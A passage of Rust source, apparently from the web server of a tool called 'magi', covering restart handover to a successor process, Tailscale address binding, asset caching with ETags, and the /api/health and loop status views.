880/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
881/// so the address is already free when the successor binds it. The first
882/// attempt at this spawned the successor two hundred milliseconds before
883/// exiting instead, and the released binary - which has no bind retry - died
884/// on "address already in use" with its stdio sent to null, so the deck
885/// simply never came back.
886///
887/// Detached and without inherited stdio: the successor has to outlive this
888/// process, and must not hold open a pipe a terminal is waiting on.
889fn spawn_successor() -> Result<()> {
890    let exe = std::env::current_exe().context("find this binary")?;
891    let args: Vec<String> = std::env::args().skip(1).collect();
892    tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
893
894    let mut cmd = std::process::Command::new(&exe);
895    cmd.args(&args)
896        .stdin(std::process::Stdio::null())
897        .stdout(std::process::Stdio::null())
898        .stderr(std::process::Stdio::null());
899    #[cfg(windows)]
900    {
901        use std::os::windows::process::CommandExt as _;
902        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
903        // and Ctrl-C in the old terminal must not reach the successor.
904        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
905    }
906    cmd.spawn().context("start the successor")?;
907    Ok(())
908}
909
910/// Serve the UI until Ctrl-C, finishing a run the loop has in flight.
911///
912/// The server itself owns no state, so nothing here is graceful for the HTTP
913/// side's sake: the connections go with the dropped listener, which costs a
914/// phone one change-stream reconnection it was going to make anyway.
915///
916/// The signal branch is not optional now that the loop lives in this process.
917/// [`daemon::serve_until`] listens for Ctrl-C itself, and a registered
918/// handler is what stops the signal terminating the process - so without a
919/// branch of our own, the first Ctrl-C after the operator started the loop
920/// would stop the loop and leave `magi web` listening forever, unkillable
921/// from the terminal it was started in.
922///
923/// What it waits for is the loop, not the sockets. A run in flight is
924/// finished first, for the reason [`daemon::serve`] gives: killing the graph
925/// mid-node leaves worktrees, branches and agent sessions behind and throws
926/// away every agent call already paid for.
927///
928/// The server therefore runs on a task of its own rather than inside the
929/// `select!`: an arm that resolves *drops* the futures the other arms were
930/// polling, so serving the address from inside one would take the deck down
931/// at the instant the handover began and keep it down for the whole park -
932/// up to `timeout_implement`, an hour by default. See [`hand_over`], which
933/// owns the order.
934pub async fn serve(opts: Opts) -> Result<()> {
935    let (addr, warning) = resolve_bind(&opts.bind);
936    if let Some(warning) = warning {
937        tracing::warn!("{warning}");
938    }
939
940    // Process-global, and therefore set exactly once, here: the report route
941    // must never emit escape sequences into a browser, and toggling the flag
942    // per request would race with a concurrent request rendering its own
943    // report. Startup is the only moment at which no request can observe the
944    // change. Nothing in the server turns colour back on.
945    report::set_color(false);
946
947    let ui = Ui::open(opts.repo).with_merge(opts.merge);
948    // Cloned before `ui.router()` consumes `ui` below: `hand_over` needs the
949    // home to bracket the parking and restarting stages, and `run_update_recheck`
950    // needs both it and the repo, and by then there is no `ui` left to read
951    // them from.
952    let home = ui.home.clone();
953    let repo = ui.repo.clone();
954    // Settles a progress record a predecessor left non-terminal - either this
955    // *is* the successor `spawn_successor` started, or the previous process
956    // died mid-handover. Before the router starts answering, so the very
957    // first `/api/health` a phone gets from this process already reflects it.
958    updater::reconcile_after_restart(&home);
959    // `magi web` can stay up for days, and the one-time check `main.rs`'s
960    // `spawn_update_check` does at startup only ever runs once: after that,
961    // `/api/health`'s `update` field - and the phone's "Update & restart"
962    // button, which reads the very same cache - would stay frozen on
963    // whatever that single check found, no matter how many releases ship
964    // afterwards. This keeps it current instead. Detached: it must keep
965    // going for as long as this process serves, `serve` has nothing to await
966    // it for, and it exits on its own the moment the process does.
967    tokio::spawn(run_update_recheck(repo, home.clone()));
968    let looping = ui.looping();
969    let socket = SocketAddr::new(addr, opts.port);
970    let listener = bind_waiting(socket).await?;
971    let url = format!("http://{addr}:{}", opts.port);
972    tracing::info!(
973        "magi web UI on {url} - there is no authentication, so anyone who can \
974         reach this address can file and hold tasks: the tailnet is the \
975         security boundary"
976    );
977    tracing::info!(
978        "the queue loop is not running yet - start it from the UI, which is \
979         the whole reason this process can: nothing in the queue moves until \
980         something is running the loop"
981    );
982    if opts.open {
983        // The URL alone on stdout, for a caller that wants to open it. magi
984        // does not spawn a browser: on the machine this usually runs on there
985        // is no display, and a failed launch would be the only output.
986        println!("{url}");
987    }
988
989    // On its own task, so nothing this function awaits can stop the address
990    // being answered. `hand_over` is where it is given up.
991    let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
992    let interrupted = async {
993        if tokio::signal::ctrl_c().await.is_err() {
994            // No handler on this platform, so there is no signal to act on.
995            // Never resolving is the safe answer: a failed registration must
996            // not masquerade as the operator asking for a shutdown and take
997            // the UI down on startup.
998            std::future::pending::<()>().await;
999        }
1000    };
1001    let handover = HANDOVER.notified();
1002    tokio::select! {
1003        joined = &mut served => match joined {
1004            Ok(outcome) => outcome.context("serve the web UI"),
1005            Err(e) => Err(e).context("the task serving the web UI ended"),
1006        },
1007        () = interrupted => {
1008            tracing::info!("shutting down the web UI");
1009            finish_loop(&looping).await;
1010            Ok(())
1011        }
1012        () = handover => {
1013            tracing::info!("upgraded - handing this address to the successor");
1014            hand_over(&home, &looping, served, spawn_successor).await
1015        }
1016    }
1017}
1018
1019/// Park the loop, then release the address, then start the successor.
1020///
1021/// The order is the whole function, and each step is answerable to a failure
1022/// this arrangement has already had:
1023///
1024/// 1. **Park.** The loop was asked to stop by the request that replaced the
1025///    binary, and this waits for it, because killing the graph mid-node
1026///    leaves worktrees, branches and agent sessions behind and throws away
1027///    every agent call already paid for. It takes as long as the node in
1028///    flight - up to `timeout_implement`, an hour by default - and the deck
1029///    goes on answering for all of it, which is the reason `served` is a task
1030///    rather than an arm of [`serve`]'s `select!`. It was an arm once: the
1031///    first upgrade from a phone that caught a run mid-implement dropped the
1032///    listener the moment it was asked to, and the operator got
1033///    `Cannot reach magi: Failed to fetch` with no way to see the park it was
1034///    waiting on and nothing but a process list to say the run was alive.
1035/// 2. **Release.** Aborting *and awaiting* the task is what frees the socket:
1036///    the join resolves only once the task's future has been dropped, so the
1037///    address is unbound before the next line rather than merely on its way
1038///    there.
1039/// 3. **Start the successor**, which binds the address this process has just
1040///    let go of - see [`spawn_successor`] for what the other order cost.
1041///
1042/// The [`updater::Progress`] bookkeeping bracketing steps 1 and 3 is
1043/// reporting, not part of the design: it exists so `/api/health` can say
1044/// "parking, waiting on run X" instead of leaving the phone to guess why the
1045/// deck went quiet, and dropping it would not change the order above.
1046async fn hand_over(
1047    home: &FsPath,
1048    looping: &Mutex<LoopState>,
1049    served: tokio::task::JoinHandle<std::io::Result<()>>,
1050    successor: impl FnOnce() -> Result<()>,
1051) -> Result<()> {
1052    if let Some(mut progress) = updater::read_progress(home) {
1053        progress.advance(updater::Stage::Parking);
1054        let _ = updater::write_progress(home, &progress);
1055    }
1056    finish_loop(looping).await;
1057    served.abort();
1058    let _ = served.await;
1059    if let Some(mut progress) = updater::read_progress(home) {
1060        progress.advance(updater::Stage::Restarting);
1061        let _ = updater::write_progress(home, &progress);
1062    }
1063    successor()
1064}
1065
1066/// Ask the loop to stop and wait for it, on the way out of [`serve`].
1067///
1068/// The wait is the whole function. Returning from `serve` while a graph is
1069/// mid-node ends the process with worktrees, branches and agent sessions left
1070/// behind and every agent call in that run paid for and thrown away, which is
1071/// exactly what the daemon's own shutdown refuses to do.
1072async fn finish_loop(state: &Mutex<LoopState>) {
1073    let live = lock_or_recover(state).live.take();
1074    let Some(live) = live else { return };
1075    live.stop.stop();
1076    lock_or_recover(state).rev += 1;
1077    tracing::info!("waiting for the loop to finish the run in flight");
1078    // The task records its own outcome and logs it, so there is nothing to do
1079    // with a join error here but stop waiting.
1080    let _ = live.handle.await;
1081}
1082
1083/// Resolve `--bind` to an address, plus a warning when the answer is not what
1084/// the operator asked for.
1085///
1086/// Split out from [`serve`] because the interesting half - deciding whether
1087/// Tailscale gave us something usable - is testable without opening a socket.
1088pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1089    match bind {
1090        Bind::Addr(addr) => (*addr, None),
1091        Bind::Auto => match tailscale_ip() {
1092            Ok(ip) => (IpAddr::V4(ip), None),
1093            Err(why) => (
1094                IpAddr::V4(Ipv4Addr::LOCALHOST),
1095                Some(format!(
1096                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1097                     local-only and a phone cannot reach it; start Tailscale \
1098                     or pass --bind <addr>"
1099                )),
1100            ),
1101        },
1102    }
1103}
1104
1105/// This machine's Tailscale IPv4, or why there is not one.
1106///
1107/// `tailscale ip -4` is a local call against the running daemon and returns in
1108/// milliseconds, so it is fine to make it synchronously before the server
1109/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
1110/// CGNAT block Tailscale assigns from, and anything else on that output would
1111/// be a different tool answering.
1112fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1113    let out = std::process::Command::new("tailscale")
1114        .args(["ip", "-4"])
1115        .quiet()
1116        .output()
1117        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1118    if !out.status.success() {
1119        let why = String::from_utf8_lossy(&out.stderr);
1120        let why = why.trim();
1121        return Err(format!(
1122            "`tailscale ip -4` failed ({}){}",
1123            out.status,
1124            if why.is_empty() {
1125                String::new()
1126            } else {
1127                format!(": {why}")
1128            }
1129        ));
1130    }
1131    String::from_utf8_lossy(&out.stdout)
1132        .lines()
1133        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1134        .find(is_tailnet)
1135        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1136}
1137
1138/// Is this address in the CGNAT block Tailscale hands out from?
1139fn is_tailnet(ip: &Ipv4Addr) -> bool {
1140    let o = ip.octets();
1141    o[0] == 100 && (64..=127).contains(&o[1])
1142}
1143
1144/// What every handler returns. Spelled out because `Result` in this crate is
1145/// `anyhow::Result`, and a handler's error is a status code as much as a
1146/// message.
1147type ApiResult<T> = std::result::Result<T, ApiError>;
1148
1149/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
1150#[derive(Debug)]
1151struct ApiError {
1152    status: StatusCode,
1153    message: String,
1154}
1155
1156impl ApiError {
1157    /// The client asked for something malformed.
1158    fn bad_request(message: impl Into<String>) -> Self {
1159        Self {
1160            status: StatusCode::BAD_REQUEST,
1161            message: message.into(),
1162        }
1163    }
1164
1165    /// No such run or task.
1166    fn not_found(message: impl Into<String>) -> Self {
1167        Self {
1168            status: StatusCode::NOT_FOUND,
1169            message: message.into(),
1170        }
1171    }
1172
1173    /// Someone else owns the thing the client wants to change.
1174    /// Re-badge an error whose default mapping is wrong for this route.
1175    fn with_status(mut self, status: StatusCode) -> Self {
1176        self.status = status;
1177        self
1178    }
1179
1180    /// A rules violation from a domain type, reported as the caller's fault.
1181    /// `Question::answer` rejects an unoffered choice, and that is a bad
1182    /// request, not a server error.
1183    fn bad_request_from(e: anyhow::Error) -> Self {
1184        Self::bad_request(format!("{e:#}"))
1185    }
1186
1187    fn conflict(message: impl Into<String>) -> Self {
1188        Self {
1189            status: StatusCode::CONFLICT,
1190            message: message.into(),
1191        }
1192    }
1193
1194    /// Our fault, or the disk's.
1195    fn internal(message: impl Into<String>) -> Self {
1196        Self {
1197            status: StatusCode::INTERNAL_SERVER_ERROR,
1198            message: message.into(),
1199        }
1200    }
1201}
1202
1203impl From<anyhow::Error> for ApiError {
1204    /// Errors from `queue` and `run` carry their context chain, and the whole
1205    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
1206    /// value at line 3" is a message an operator can act on, and there is no
1207    /// secret in a path on a single-user tailnet.
1208    fn from(e: anyhow::Error) -> Self {
1209        Self::internal(format!("{e:#}"))
1210    }
1211}
1212
1213impl IntoResponse for ApiError {
1214    fn into_response(self) -> Response {
1215        let body = serde_json::json!({ "error": self.message });
1216        (self.status, Json(body)).into_response()
1217    }
1218}
1219
1220/// Run a handler's filesystem work off the executor.
1221///
1222/// Every route that touches the disk goes through here rather than each one
1223/// arguing about whether its own read is small enough. Uniform because the
1224/// expensive case is not rare: `run.json` for a finished competition holds
1225/// every judgement, deliberation turn and review round, so listing a few
1226/// hundred runs is megabytes of parsing, and the executor threads doing it are
1227/// the same ones serving the change stream of every other connected phone.
1228async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1229where
1230    T: Send + 'static,
1231{
1232    match tokio::task::spawn_blocking(job).await {
1233        Ok(result) => result,
1234        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1235    }
1236}
1237
1238/// Cache policy for the three compiled-in front-end files.
1239///
1240/// The whole interface is `include_str!`ed into the binary, so its content
1241/// changes only when the binary does - and a phone that keeps a copy is
1242/// welcome to, right up until the deck is replaced. Without a single cache
1243/// header, browsers were free to invent their own policy, and one did:
1244/// yukimemi's phone went on showing "Candidates must be folded before
1245/// deleting. Run `magi fold` first." - a sentence deleted two releases
1246/// earlier - from a run detail served by a deck that no longer contained it.
1247/// The delete button he was told about was right there, and unreachable.
1248///
1249/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
1250/// every time, the answer is a 304 costing one small round trip while the
1251/// deck is unchanged, and the moment it is replaced the tag differs and the
1252/// new interface arrives. Correctness over bytes - this is one file of a few
1253/// tens of kilobytes on a tailnet, and being a version behind is not a
1254/// cosmetic problem when the difference is whether a button exists.
1255const ASSET_CACHE: &str = "no-cache, must-revalidate";
1256
1257/// `ETag` for the compiled-in assets, distinct per build.
1258///
1259/// The version alone would leave a locally built deck - `cargo install
1260/// --path .` twice at the same version, which is the normal way to iterate -
1261/// serving a stale tag for changed bytes. The build timestamp is what makes
1262/// two builds of `0.3.0` differ.
1263fn asset_etag() -> &'static str {
1264    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1265        format!(
1266            "\"{}-{}\"",
1267            env!("CARGO_PKG_VERSION"),
1268            // Length is a cheap, deterministic stand-in for a hash: the
1269            // three files are compiled in together, so any edit to any of
1270            // them almost certainly changes the total, and a rebuild is what
1271            // this needs to track rather than every possible byte pattern.
1272            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1273        )
1274    });
1275    &TAG
1276}
1277
1278/// Headers for a compiled-in asset of `mime`.
1279fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1280    [
1281        (header::CONTENT_TYPE, mime),
1282        (header::CACHE_CONTROL, ASSET_CACHE),
1283        (header::ETAG, asset_etag()),
1284    ]
1285}
1286
1287/// Serve a compiled-in asset, answering `304` when the client already has it.
1288///
1289/// axum does not compare `If-None-Match` for us, and a header the server sets
1290/// but never honours is worse than none: the phone revalidates on every load
1291/// and is handed the whole file back each time. Doing the comparison is what
1292/// makes `must-revalidate` cost one small round trip rather than the
1293/// interface.
1294fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1295    let tag = asset_etag();
1296    let known = headers
1297        .get(header::IF_NONE_MATCH)
1298        .and_then(|v| v.to_str().ok())
1299        // A revalidating client may send several, and a proxy may weaken the
1300        // tag to `W/"..."`; matching on containment covers both without
1301        // parsing the grammar.
1302        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1303    if known {
1304        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1305    }
1306    (asset_headers(mime), body).into_response()
1307}
1308
1309async fn index(headers: header::HeaderMap) -> Response {
1310    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1311}
1312
1313async fn app_css(headers: header::HeaderMap) -> Response {
1314    asset(&headers, "text/css; charset=utf-8", APP_CSS)
1315}
1316
1317async fn app_js(headers: header::HeaderMap) -> Response {
1318    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1319}
1320
1321/// What `/api/health` answers.
1322#[derive(Debug, Serialize)]
1323struct HealthView {
1324    version: &'static str,
1325    home: String,
1326    queue_rev: u64,
1327    runs_rev: u64,
1328    /// The same revisions [`events`] streams for the question and talk
1329    /// stores.
1330    ///
1331    /// Here because this route is what the front end falls back to when the
1332    /// change stream is not up - it re-polls health on a timer and on wake, and
1333    /// takes the revisions from the answer. Without these the fallback
1334    /// compares `undefined` against `undefined` for both stores, decides
1335    /// nothing moved, and a phone with a dead stream never learns that a
1336    /// question was asked or that a talk took a turn. `queue_rev` and
1337    /// `runs_rev` above have always been here for exactly this reason; the rule
1338    /// is that every revision the stream carries, this route carries too.
1339    questions_rev: u64,
1340    /// See [`HealthView::questions_rev`]. The standing chat's own store.
1341    talks_rev: u64,
1342    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
1343    /// is not on disk anywhere, so a phone with no change stream has no other
1344    /// way to notice that the loop it is waiting on was started from another
1345    /// device.
1346    loop_rev: u64,
1347    /// Runs on disk whose state this build cannot parse - almost always a
1348    /// schema bump, occasionally a run killed mid-write.
1349    ///
1350    /// Reported because the list silently skips them, and "no competitions
1351    /// yet" is a lie when six of them are sitting in the runs directory. The
1352    /// terminal deck learned the same lesson: a run that fails to parse must
1353    /// not disappear from the count.
1354    runs_unreadable: usize,
1355    /// The disk, and what the runs and their worktrees occupy on it.
1356    ///
1357    /// This is the incident the janitor exists for: magi alone put 30 GB into
1358    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
1359    /// is exactly where the operator learns "the disk is the constraint" -
1360    /// the diagnosis that a run is being held for want of space has to be
1361    /// checkable on the same screen.
1362    disk: DiskView,
1363    /// Questions nobody has answered yet, including ones an owner talked
1364    /// back on and is now waiting for the agent's reply to. A round trip
1365    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
1366    /// while the ball is in the agent's court - see
1367    /// [`crate::ask::Questions::count_open`].
1368    questions_open: usize,
1369    /// Of those, how many actually need the owner right now: open, and not
1370    /// [`crate::ask::Question::waiting_on_agent`].
1371    ///
1372    /// The one number that means "nothing will happen until a human acts" -
1373    /// a parked run consumes nothing and progresses never - and the count the
1374    /// ask bar, the nav badge and the document title fall back to before
1375    /// `/api/questions` has answered, so those notification channels clear
1376    /// the instant the owner asks back and reappear the instant the agent
1377    /// replies, instead of sitting lit for however long the agent thinks.
1378    questions_needs_owner: usize,
1379    daemon: DaemonView,
1380    /// The loop in this process, exactly what `/api/loop` answers with.
1381    ///
1382    /// Here so a phone that has just woken needs one request to know whether
1383    /// anything is going to happen at all: `daemon` says a loop is alive
1384    /// somewhere, and this says whether it is one this UI can stop.
1385    #[serde(rename = "loop")]
1386    looping: LoopView,
1387    /// Whether a release newer than this build is known, and which.
1388    ///
1389    /// From [`updater::Checker::cached_update`] - the same throttled state the
1390    /// CLI's `notify` mode banners from - never a live check: this route is
1391    /// polled every few seconds, and a live check on each poll would spend
1392    /// GitHub's rate limit before the operator finished reading the strip.
1393    update: UpdateView,
1394    /// The self-upgrade this deck last set in motion, or `null` before the
1395    /// first one. Read off disk, so the successor can report what its
1396    /// predecessor started.
1397    upgrade: Option<UpgradeProgressView>,
1398}
1399
1400/// What `/api/health` knows about a release newer than this build.
1401///
1402/// A plain `Option<String>` for `to` could not distinguish "checked, and this
1403/// is already the newest" from "never checked" - both are `None` - and the
1404/// phone needs to tell those apart to decide whether the deck can be trusted
1405/// to have an opinion at all.
1406#[derive(Debug, Serialize)]
1407struct UpdateView {
1408    /// A newer release is known to exist.
1409    available: bool,
1410    /// Its tag, when `available`.
1411    to: Option<String>,
1412}
1413
1414/// [`updater::Progress`] as `/api/health` reports it.
1415#[derive(Debug, Serialize)]
1416struct UpgradeProgressView {
1417    stage: updater::Stage,
1418    from: String,
1419    to: Option<String>,
1420    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
1421    /// the step it is finishing before the address is handed over.
1422    waiting_on: Option<String>,
1423    started_at: Timestamp,
1424    updated_at: Timestamp,
1425    detail: Option<String>,
1426}
1427
1428/// Whether [`run_update_recheck`] may act at all this tick.
1429///
1430/// The same two conditions [`updater::Checker::new`] and
1431/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
1432/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
1433/// GitHub from this process" - on a button press or on a timer alike.
1434fn should_spawn_recheck(cfg: &Update) -> bool {
1435    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1436}
1437
1438/// Whether this tick should actually reach the network, once checking itself
1439/// is allowed.
1440///
1441/// An upgrade already in flight must not be raced by a check that discovers
1442/// a *newer* release while one is still installing - a phone watching
1443/// `/api/health` would see the answer change out from under the upgrade it
1444/// already asked for. Past that, [`updater::Checker::should_check`] is the
1445/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
1446/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
1447/// polling period, is what keeps this task's network use to at most once per
1448/// `[update] interval` regardless of how often it wakes up.
1449fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1450    if progress.is_some_and(|p| !p.stage.terminal()) {
1451        return false;
1452    }
1453    checker.should_check()
1454}
1455
1456/// How long [`run_update_recheck`] sleeps before its next wake-up.
1457///
1458/// A fraction of the configured `[update] interval` rather than a fixed
1459/// number: a fixed sleep longer than a short custom interval would leave the
1460/// deck waiting on its own wake-up rather than on `should_check`, so an
1461/// operator who set `interval = "1m"` to make the UI catch up quickly would
1462/// not see that take effect until the next restart - exactly the bug this
1463/// task exists to fix, just moved one level down. Scaling with the interval
1464/// keeps the wake-up prompt relative to what was actually configured, while
1465/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
1466/// still what caps the network calls themselves at one per interval,
1467/// regardless of how often this fires.
1468fn recheck_poll_period(cfg: &Update) -> Duration {
1469    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
1470}
1471
1472/// Keep `/api/health`'s `update` field current for as long as `magi web`
1473/// stays up.
1474///
1475/// The CLI's own `spawn_update_check` (`main.rs`) runs once per invocation,
1476/// which is enough for every other command: they exit in seconds. `magi web`
1477/// can run for days, so a single startup check leaves the cache - and the
1478/// phone's "Update & restart" button, which reads it via
1479/// [`cached_update_view`] - frozen on whatever that one look found, however
1480/// many releases ship afterwards. This is what notices the rest of them,
1481/// re-reading the config each tick so a `magi.toml` edit while the server is
1482/// up takes effect without a restart, the same way every other route here
1483/// already does - both for whether checking is on at all and for how long
1484/// the next sleep should be.
1485///
1486/// Not [`updater::spawn`]'s `auto_update` path, even under `mode =
1487/// "install"`: swapping the running binary out from under a task or a run
1488/// mid-node is exactly what `hand_over`'s parking exists to do deliberately,
1489/// not as a side effect of a timer nobody asked to fire. This only ever
1490/// calls [`updater::Checker::newer_release`], which refreshes
1491/// `last_update_check.json` and nothing else - so under `mode = "install"`
1492/// this behaves like `notify` for as long as the deck stays up, and an
1493/// actual self-install still happens exactly where it always has: once, at
1494/// the next process start.
1495async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1496    loop {
1497        let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1498        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1499        if !should_spawn_recheck(&cfg.update) {
1500            continue;
1501        }
1502        let Some(checker) = updater::Checker::new(&cfg.update) else {
1503            continue;
1504        };
1505        let progress = updater::read_progress(&home);
1506        if !update_recheck_due(&checker, progress.as_ref()) {
1507            continue;
1508        }
1509        if let Err(e) = checker.newer_release().await {
1510            tracing::warn!("background update recheck failed: {e:#}");
1511        }
1512    }
1513}
1514
1515/// [`UpdateView`] from the same throttled, disk-only state
1516/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
1517/// never a live check. `[update] mode = "off"` answers "unknown" the same as
1518/// no cached state at all, which is correct: an operator who turned checking
1519/// off gets no opinion, not a stale one.
1520fn cached_update_view(repo: &FsPath) -> UpdateView {
1521    let (cfg, _) = Config::discover(repo, None).unwrap_or_default();
1522    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1523    match latest {
1524        Some(latest) => UpdateView {
1525            available: true,
1526            to: Some(latest.tag_name),
1527        },
1528        None => UpdateView {
1529            available: false,
1530            to: None,
1531        },
1532    }
1533}
1534
1535/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
1536/// from the parked run's own state when the stage is
1537/// [`updater::Stage::Parking`] - the run and the node it is finishing are
1538/// already on disk in `run.json`, so this reads them fresh rather than
1539/// trusting whatever was true the moment the park was requested.
1540fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1541    let waiting_on = (progress.stage == updater::Stage::Parking)
1542        .then_some(progress.parked_run.as_deref())
1543        .flatten()
1544        .and_then(|id| read_run(&ui.runs, id).ok())
1545        .map(|run| {
1546            format!(
1547                "run {} is finishing {} before the address is handed over",
1548                run.short(),
1549                run.status.as_str()
1550            )
1551        });
1552    UpgradeProgressView {
1553        stage: progress.stage,
1554        from: progress.from,
1555        to: progress.to,
1556        waiting_on,
1557        started_at: progress.started_at,
1558        updated_at: progress.updated_at,
1559        detail: progress.detail,
1560    }
1561}
1562
1563/// The disk figures `/api/health` carries. Every number is produced by
1564/// [`crate::disk`], the same code that decides a run may not start, so the
1565/// health screen and the gate cannot disagree about what the machine looks
1566/// like.
1567#[derive(Debug, Serialize)]
1568struct DiskView {
1569    /// Free bytes on the volume holding the runs, when measurable.
1570    #[serde(skip_serializing_if = "Option::is_none")]
1571    free_bytes: Option<u64>,
1572    /// Everything the runs directory occupies, unreadable runs included.
1573    runs_bytes: u64,
1574    /// Everything the runs' worktrees occupy.
1575    worktrees_bytes: u64,
1576    /// The shared build cache's size, when the config names one.
1577    #[serde(skip_serializing_if = "Option::is_none")]
1578    cache_bytes: Option<u64>,
1579}
1580
1581impl DiskView {
1582    /// Measure the three directories and re-read the config's cache.
1583    fn of(ui: &Ui) -> Self {
1584        let cache_bytes = Config::discover(&ui.repo, None)
1585            .ok()
1586            .and_then(|(cfg, _)| cfg.cache_dir())
1587            .map(|dir| crate::disk::dir_size(&dir));
1588        Self {
1589            free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1590            runs_bytes: crate::disk::dir_size(&ui.runs),
1591            worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1592            cache_bytes,
1593        }
1594    }
1595}
1596
1597/// The daemon's state as the UI presents it.
1598#[derive(Debug, Serialize)]
1599struct DaemonView {
1600    running: bool,
1601    idle: Option<bool>,
1602    pid: Option<u32>,
1603    /// Every task and run currently in flight. Empty when idle; more than
1604    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
1605    /// run going at once.
1606    current: Vec<daemon::Current>,
1607    completed: Option<u64>,
1608    stale_for_secs: Option<i64>,
1609}
1610
1611impl DaemonView {
1612    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
1613    /// not this UI's — a crashed daemon must not look alive here while
1614    /// `doctor` calls it dead.
1615    fn of(status: Option<daemon::Reading>) -> Self {
1616        let Some(status) = status else {
1617            return Self {
1618                running: false,
1619                idle: None,
1620                pid: None,
1621                current: Vec::new(),
1622                completed: None,
1623                stale_for_secs: None,
1624            };
1625        };
1626        let now = Timestamp::now();
1627        let age = status.age_secs(now);
1628        Self {
1629            running: status.running(now),
1630            idle: Some(status.idle),
1631            pid: status.pid,
1632            current: status.current,
1633            completed: Some(status.completed),
1634            stale_for_secs: age,
1635        }
1636    }
1637}
1638
1639async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1640    blocking(move || {
1641        // One read of the status file for the two fields that describe it, so
1642        // `daemon` and `loop` in the same answer cannot disagree about who is
1643        // running the loop.
1644        let reading = daemon::read_status(&ui.home);
1645        // Read on its own line, not inside the literal below: the loop's lock
1646        // is not reentrant, and a guard taken as a temporary there would still
1647        // be held when `loop_view` took it again.
1648        let loop_rev = ui.lock_loop().rev;
1649        let update = cached_update_view(&ui.repo);
1650        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1651        Ok(Json(HealthView {
1652            version: env!("CARGO_PKG_VERSION"),
1653            home: ui.home.display().to_string(),
1654            queue_rev: ui.queue.revision(),
1655            runs_rev: runs_revision(&ui.runs),
1656            questions_rev: ui.questions.revision(),
1657            talks_rev: ui.talks.revision(),
1658            loop_rev,
1659            runs_unreadable: runs_unreadable(&ui.runs),
1660            questions_open: ui.questions.count_open(),
1661            questions_needs_owner: ui.questions.count_needs_owner(),
1662            daemon: DaemonView::of(reading.clone()),
1663            looping: ui.loop_view(reading),
1664            disk: DiskView::of(&ui),
1665            update,
1666            upgrade,
1667        }))
1668    })
1669    .await
1670}
1671
1672/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
1673#[derive(Debug, Serialize)]
1674struct LoopView {
1675    /// A loop is running in *this* process.
1676    running: bool,
1677    /// It has been asked to stop and is still finishing a run.
1678    ///
1679    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
1680    /// because the two differ exactly where it matters: a loop asked to stop
1681    /// while idle is gone within one poll interval, and one asked to stop
1682    /// mid-run keeps going for as long as the graph takes. The operator needs
1683    /// to be told which of those they are waiting for.
1684    stopping: bool,
1685    /// A park was asked for: the run in flight stops at its next node
1686    /// boundary rather than finishing.
1687    ///
1688    /// Separate from `stopping` because the two promise different waits. A
1689    /// stop is "when this competition ends", which can be an hour; a park is
1690    /// "after the step it is on", which is minutes and is what an operator
1691    /// waiting to replace the binary needs to see.
1692    parking: bool,
1693    /// The loop is this process's own.
1694    ///
1695    /// Spelled separately from `running` for the front end's sake, even
1696    /// though inside this process the two move together: `running: false`
1697    /// with `daemon.running: true` is the case where the operator's own `magi
1698    /// serve` owns the loop, and `owned` is the field that tells the UI its
1699    /// buttons have to explain that rather than pretend.
1700    owned: bool,
1701    /// Repository the loop uses for tasks that name none - what it was
1702    /// started with while it runs, and what a start would use before that.
1703    repo: String,
1704    /// Merge mode override in force, or `null` when each repository's own
1705    /// config decides.
1706    merge: Option<String>,
1707    /// Why the last loop in this process ended, when it ended badly.
1708    ///
